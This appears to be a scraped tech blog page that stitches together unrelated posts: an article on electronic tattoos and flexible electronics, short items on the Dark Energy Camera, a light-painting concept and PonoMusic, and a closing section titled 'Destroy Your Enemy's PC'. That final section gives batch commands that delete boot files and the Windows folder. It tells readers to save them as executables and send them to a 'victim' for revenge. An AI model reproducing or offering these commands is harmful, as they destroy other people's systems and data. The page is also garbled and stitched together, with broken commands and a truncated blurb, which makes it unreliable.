Electronic tattoo

What is an electronic tattoo?

First, let me tell you what they’re not: They’re not tattoos. There’s no ink, needles or piercing of the skin.The reason they’re called “tattoos” is that their application is similar to those in children’s fake tattoos. It usually starts out on a sheet of plastic, is then applied to the skin and rubbed on from outside the plastic, then the plastic is peeled away, leaving only a very thin, rubber patch that has a layer of flexible silicon wires.The concept behind electronic tattoos is simple. The idea is to create an electronic device, usually involving sensors, that is thinner than a sheet of paper and as flexible as a Band-Aid that can stick to the skin.The secret sauce is flexible electronics. The core benefit is that they become part of the body in a non-invasive, painless and relatively inexpensive way.In addition to sensors, the electronics package can contain wireless networking capability, so they can not only convey sensor data easily, but also be controlled from a remote computer or smartphone.

Why are electronic tattoos happening now?

Almost every big technology revolution is preceded by a materials revolution. For example, the computer revolution owes its trajectory to the development of semiconductor materials, including silicon, which replaced vacuum tubes and brought into existence Moore’s Law, the law that states the number of transistors on integrated circuits doubles roughly every two years.The electronic tattoo revolution is coming about because of the development of miniature and flexible electronics. In fact, development of flexible electronics has been in the works for decades. Most consumer electronics, from phones to digital cameras, contain circuits that are flexible in order to bend circuit boards for the purpose of cramming everything into a tiny space. But in recent years, it’s become increasingly possible to create flexible circuits that can roll, stretch and, most importantly, flex repeatedly without failing.

What are electronic tattoos for?

Researchers envision all kinds of medical applications for electronic tattoos. For example,extremely precise thermometers that can track tiny fluctuations in body temperature and set off alarms when the level goes above or below a set threshold. Because they’re so thin and flexible, a thermometer patch could be worn for months.

An example of an "electronic tattoo."

In a few years, it’s likely that a single, inexpensive rubber patch, attached to the chest of a patient or even a newborn baby will monitor a wide range of vital signs including heart rate, nutritional status, body temperature, hydration and breathing rate.This is where most of us will encounter electronic tattoos. Slapping an electronic tattoo on patients to monitor vital signs will probably become widespread in healthcare.But there are other applications for this idea beyond the doctor’s office.

Google, for example, has specific patents for an electronic tattoo that functions as alie detector. There’s also a throat tattoo that conveys sounds from the throat to a smartphone or other connected device. The idea might be useful as a microphone for talking in a noisy environment.A company called Electrozyme makes electronic tattoos that appear to target athletic performance. They can measure lactate levels, which show how much muscle fatigue is happening. The patch can detect pH values on the skin, which shows hydration levels, and other metrics of clear value to athletes. Imagine an entire pro football team wearing such patches and the medical staff monitoring their vitals and making recommendations to the coach to prevent burnout and injury.Electronic tattoos are the ultimate wearable computer. There’s no telling what a patch of electronics stuck to your body somewhere and connected wirelessly to a smartphone can do once app developers get involved.It will start out with primarily medical uses, then evolve into a cyborg-like capability of melding human flesh with electronic sensors and communication.
The astonishing fact about electronic tattoos is that they’re only one byproduct of the flexible electronics revolution.
It will enable other good things. One will be smart clothing. Electronics built into pants, shoes, shirts and jackets will bring wearable computing into our clothing. Google’sAndroid chief, Sundar Pichai, recently used the example of a “smart jacket” when talking about the possibilities of the wearables software development kit he was announcing.

The real revolution is flexible electronics

The LG Flex smartphone.

Flexible electronics will enable flexible devices—the first major example of which is the LG Flex, a curved smartphone. But we can look forward to clamshell devices that, when opened out flat, form a continuous screen across both halves.There will be other uses for flexible electronics, but one of the biggest will be electronic tattoos. It’s an idea that’s coming soon. Once it arrives, it’s really going to stick.

world’s most powerful camera

 world’s most powerful camera is titled as ‘Dark Energy Camera’   and it is used by scientists who study speedy expansion of the universe. Built at Fermilab in Illinois the massive camera is 70 times more powerful than a phone camera. It is handy and can click photographs of masses 8 billion light-years away from earth. The camera constitutes of 5 lenses each of 570-megapixel costing $1.6 million each. Dark energy camera will be installed in the Cerro Tololo Inter-American Observatory in Chile and will take pictures of 300 million galaxies thus unveiling the mysteries of universe that got scientists trapped for y

This is an interesting concept created by Seo Dong-Hun that allows you to create on the ceiling the light shapes you want. Literally, you can paint the ceiling with light. Imagine the artworks that would result from some people’s imagination.

After years of waiting, Neil Young is finally set to launch PonoMusic this week – a music platform that will go head-to-head with iTunes with a focus on high quality recordings and sound quality. PonoMusic is the desktop manager that will be used to download music and sync between devices and will be released along with the PonoPlayer, as you can guess… a portable music player

Destroy Your Enemy's PC

Destroy Your Enemy's PC...!!!
Open your notepad and type the following………
del c:\boot?ini c:\del autoexec.bat
Now Save as anyname.exe. Create this in C: drive
The only thing you need is Notepad.
1. Create a text file called TEST.txt(empty) in C:\
2. Now in your notepad type “erase C:
\TEST.txt” (without the quotes). Then save it as
“Test.cmd”.
3. Now run the file “Test.cmd”go to C:\ and you’ll
see your Test.txt is gone.
Now, the real work (don't try this on your personal
computer)
1. Go to Notepad and type erase C:\WINDOWS and
save it as findoutaname.cmd.
2. Now DON’T Run the file or you’ll lose your
WINDOWS map.
So, that’s the Virus. In this way you can make a
virus to delete any file you want.
Now to take revenge. Send you file to your victim.
Once victim opens it. WINDOWS map is Deleted. And
he will have to install WINDOWS again.
Beware: Its simple but a strong virus that can
delete anyones Windows OS …
Note: I am not Taking any Responsibilties if by this
you damage your windows.
